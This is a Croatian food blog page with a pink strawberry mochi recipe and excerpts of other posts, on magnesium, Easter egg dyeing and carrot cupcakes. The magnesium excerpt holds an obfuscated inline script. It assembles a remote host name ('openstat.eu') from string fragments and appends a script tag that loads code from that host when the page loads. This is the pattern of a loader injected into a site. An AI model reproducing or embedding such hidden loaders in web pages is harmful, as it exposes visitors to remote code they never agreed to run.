PINK MOCHI KOLAČIĆI JAGODAMA 🍓





Pink mochi kolačići s jagodama 



Ako postoji desert koji je posljednjih godina postao pravi viralni fenomen, to su mochiji. Njihova mekana, elastična tekstura i minimalistički izgled učinili su ih jednim od najfotografiranijih slastica na društvenim mrežama, a danas ih viđamo u bezbroj kreativnih verzija, od klasičnih japanskih verzija od matche i riže do voćnih inačica Mochi okruglice kao desert potječu iz Japana i tradicionalno se pripremaju od posebne vrste ljepljive riže koja se kuhanjem i gnječenjem pretvara u glatko, elastično tijesto. U japanskoj kulturi mochiji imaju dugu povijest i često ih se povezuje s proslavama, srećom i zajedništvom.




Pink mochi kolačići s jagodama 


Sastojci:

Sastojci za mochi tijesto:

  • 200 g mochiko brašna (rižino brašno za mochi)
  • 50 g šećera
  • 250 ml vode
  • nekoliko kapi ružičaste prehrambene boje ili malo praha od maline/jagode
  • gustin za posipanje

Sastojci za punjenje:

  • 150 ml slatkog vrhnja
  • 150 g mascarponea
  • 2 žlice šećera u prahu
  • 100 g svježih jagoda



Priprema:

  • U zdjeli izmiksajte mascarpone, slatko vrhnje i šećer u prahu dok ne dobijete laganu, čvrstu kremu. Jagode narežite na sitne komadiće i lagano ih umiješajte u kremu.
  • Kremu stavite u hladnjak dok pripremate mochi tijesto.
  • U zdjeli pomiješajte mochiko brašno, šećer i vodu dok ne dobijete potpuno glatku smjesu bez grudica. Dodajte nekoliko kapi ružičaste boje ili malo praha od jagode za prirodniji ton.
  • Smjesu pokrijte i kuhajte u mikrovalnoj pećnici u intervalima od jedne minute, svaki put promiješavši, dok ne postane gusta, sjajna i elastična. Alternativno, možete je kuhati na pari.
  • Radnu površinu obilno pospite gustinom kako se tijesto ne bi lijepilo. Toplo tijesto prebacite na površinu i lagano ga razvaljajte.
  • Tijesto narežite na manje krugove. Na sredinu svakog stavite žličicu kreme s jagodama, zatim pažljivo spojite rubove i oblikujte kuglicu.
  • Mochije lagano uvaljajte u gustin kako se ne bi lijepili.
  • Mochiji su najbolji dobro ohlađeni. Držite ih u hladnjaku barem 30 minuta prije posluživanja kako bi dobili idealnu teksturu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više